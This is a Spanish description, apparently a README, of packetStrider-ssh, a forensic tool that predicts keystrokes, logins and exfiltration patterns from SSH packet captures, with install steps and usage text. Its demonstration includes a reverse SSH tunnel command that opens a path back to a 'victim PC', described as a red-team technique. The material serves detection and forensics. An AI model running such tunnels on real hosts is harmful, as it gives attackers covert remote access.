
Una herramienta de análisis forense de paquetes de red para SSH

packetStrider para SSH es una herramienta de análisis forense de paquetes que busca proporcionar información valiosa sobre la naturaleza del tráfico SSH, iluminando los rincones del tráfico de red SSH donde antes yacían pepitas de oro de información en la oscuridad.
SSH está obviamente cifrado, sin embargo, aún existe información contextual valiosa dentro del tráfico de red que puede contribuir a TTP, intención, éxito y magnitud de las acciones sobre los objetivos. Puede incluso haber situaciones donde el contexto valioso no está disponible o ha sido eliminado de los hosts, por lo que tener una captura de red pasiva inmutable e inalterable proporciona contexto forense adicional. "Los paquetes no mienten".
Independientemente del contexto forense, las predicciones de packet strider también podrían usarse de forma activa, por ejemplo, para rechazar/RST conexiones de reenvío si se predice una característica de inicio de sesión SSH inversa tunelada, incluso antes de que se ofrezca la autenticación inversa.
Se ha usado Python3, y necesitará los siguientes módulos (YMMV en python2)
pip3 install pandas matplotlib pyshark
Uso:
python3 packetStrider-ssh.py -h
Salida:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh es una herramienta forense de paquetes para SSH. Crea un
conjunto rico de características a partir de metadatos de paquetes como
contenido de mensajes del protocolo SSH, dirección, tamaño, latencia y
secuenciación. Realiza coincidencia de patrones en estas características,
usando análisis estadístico y ventanas deslizantes para predecir inicio de
sesión, pulsaciones de teclas, comportamiento humano/script, longitud de
contraseña, uso de certificados de cliente, contexto sobre la naturaleza
histórica del contacto cliente/servidor y características de movimiento de
datos de exfiltración/infiltración tanto en sesiones de reenvío como inversas
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
-f FILE, --file FILE archivo pcap a analizar
-n NSTREAM, --nstream NSTREAM
Realiza análisis solo en el flujo n
-m, --metaonly Muestra solo metadatos del flujo
-k, --keystrokes Realiza predicción de pulsaciones de teclas
-p, --predict_plot Grafica movimiento de datos y pulsaciones de teclas
-z ZOOM, --zoom ZOOM Reduce/enfoca el análisis y el gráfico solo a los
paquetes "x-y"
-d DIRECTION, --direction DIRECTION
Realiza análisis en la dirección SSH: "forward",
"reverse" O "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directorio para generar los gráficos
-w WINDOW, --window WINDOW
Tamaño de la ventana deslizante, número de paquetes a
cada lado del paquete central, por defecto es 2
-s STRIDE, --stride STRIDE
Paso entre ventanas deslizantes, por defecto es 1
El pcap "forward_reverse.pcap" proviene de un TTP común de un shell SSH inverso, un favorito de los equipos rojos en todas partes. Específicamente se usaron los siguientes comandos, para resaltar las capacidades de packet strider de manera simple:
ssh [email protected] -R 31337:localhost:22 que enlaza el puerto local 31337 listo para la conexión SSH inversa de vuelta al PC víctima. Esta conexión se puede realizar de muchas maneras, incluyendo manualmente, mediante un RCE, SSRF o alguna forma de persistencia. Para el propósito de esta demostración, es una sesión directa manual estándar.ls se escribe en la sesión directa, en esta secuencia: 'l' 'w' 'w' 'back-space' 'back-space' 's' y luego enter. El tamaño total de datos transmitidos a través de la red (como la salida de ls) se clasifica como infiltración, dado que es entrante.